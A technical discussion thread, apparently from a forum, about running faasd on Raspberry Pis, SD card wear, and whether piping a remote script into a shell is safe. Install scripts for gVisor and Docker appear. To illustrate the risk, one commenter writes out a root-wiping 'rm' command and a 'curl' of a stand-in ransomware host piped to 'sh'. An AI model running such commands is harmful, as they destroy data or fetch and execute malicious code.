If you have a small device with limited resources, maybe you'd rather have it be ready to potentially do many different things for you infrequently, as opposed to doing fewer things continuously all the time.

It was my understanding that the kernel would put idle process to sleep, and even put the memory it uses from ram to disk and wake it up if there is some input to it.

If everything is written in-house I still think any API would be simpler but I guess this way some functions can be supplied by vendors/open-source which currently cannot be composed into an e.g. flask API. So it would be nice to have a way of composing APIs from simple functions supplied in packages for this use. I guess that is what serverless is.

I know from experience :)

Moreover, nothing stops you from getting everything to run on a RAM drive. There are raspberry pis with 8GB of RAM on the market right now.

Having said that, an official raspberry pi SD card with 16GB is sold for 10$. Not exactly something that pushes you to bankruptcy.

Personally, I netboot my RPis, and faasd works equally well on the public cloud.

It all makes sense now. One of my first computing projects was making a small cluster computer with raspberry PI boards. I noticed that the SD cards started to fail oddly fast. Most likely since they were all either swam nodes, or a swarm controller.

Been running Home Assistant via Docker (Hassio) 24/7 for over two years now, off the same sd-card on my Raspberry Pi 3B, no issues so far.

  curl -sLfS https://cli.openfaas.com | sudo sh

?

The difference is between inspecting the executed command, and blindly executing something where you have no idea what it's going to do.

For example, maybe the URL contents is "rm --no-preserve-root -fr /". Or "rm -fr /home/*/Pictures 2>/dev/null". Or "curl https://ransomeware-encryptor.example.com | sh".

No problem if you inspect it first. Lots of unhappiness and heartbreak if you don't.

How about if instead we exercise critical thinking and make our own assessment of the risk and act accordingly? Why would you choose not to pipe a shell script from a site you don’t trust but execute their installer instead?

If you don’t want to pipe it, download it and read it first.

But I don't pretend there's no security risk in doing so. Like you advised, I exercise critical thinking, and then I take a risk.

On someone else's production machine, or a container with sensitive data, that risk is too high. On a fun machine in isolation it's fine.

The GPP asks what's the security difference between inspecting and not inspecting the downloaded command.

> or that they have been compromised by a malicious actor without being detected at the same time you run the installer

Installers are compromised quite often by malicious actors. Running an installer is just as dubious as running "curl | sh".

However, replacing an installer with one that looks the same but is actually malicious, is a lot more work than replacing a blind script with one that looks the same but is actually malicious.

And the risk of a malicious blind script going unnoticed is higher than a compromised installer when the SHA256 is shown to be checked alongside the latter's link, simply because the attacker would need to change two places instead of one. Yes I do check hashes of installers when that's possible and there isn't a package manager already doing so. It's a good idea anyway in case of a corrupted download file, which I do see from time to time.

Pretty close. Some of them install all sorts of wacky dependencies through non-traditional means. Like you curl an install script and then it goes and curls a whole bunch of other stuff.

Massive PITA to track all the changes that it made and uninstall it.

Package managers were made for a reason, and people should use them.

Something like: curl https://ransomeware-encryptor.example.com | script-checker | sh

    alias script-checker="echo 'echo unsafe'"

   (
     set -e
     URL=https://storage.googleapis.com/gvisor/releases/release/latest
     wget ${URL}/runsc ${URL}/runsc.sha512
     sha512sum -c runsc.sha512
     rm -f runsc.sha512
     sudo mv runsc /usr/local/bin
     sudo chmod a+rx /usr/local/bin/runsc
   )

[0]: https://gvisor.dev/docs/user_guide/install/

  (
      sudo apt-get update
      sudo apt-get -y install \
          apt-transport-https \
          ca-certificates \
          curl \
          gnupg-agent \
          software-properties-common
      curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
      sudo apt-key fingerprint 0EBFCD88
      sudo add-apt-repository -y \
          "deb [arch=amd64] https://download.docker.com/linux/ubuntu \
          $(lsb_release -cs) \
          stable"
      sudo apt-get update
      sudo apt-get install -y docker-ce docker-ce-cli containerd.io
  )

Even then, what it actually changes from the script I have already suggested in previous post? It is still about downloading two files (signature and packaged application) and install it (e.g. via dpkg --install).

    sudo apt install docker.io

    sudo apt-add-repository ppa:docker/docker
    sudo apt install docker

Those steps above are covering all the bases for Debian-based distros, adding the signing keys Docker uses for their packages, and then finally inst

In case of Ubuntu, in order to install some deb-based software you usually have to bring your own script (this is what I call "copy & paste installation script") to add third-party repository that contains given package.

https://en.wikipedia.org/wiki/Linux_distribution

:)

> The use-cases for Serverless / FaaS are fairly well-known, but you could use faasd at the edge, in a smart-car, as part of an IoT device, for crunching data before uploading samples to the cloud, for webhook receivers/alerting, bots, webservices, API integrations or even providing your own APIs. Compute is compute, and OpenFaaS with containerd makes it easy to both consume and provide.

See also potential use-cases

Bear in mind that faasd is also used in production where users don't want to maintain a Kubernetes cluster, but do want a few APIs, websites, or functions.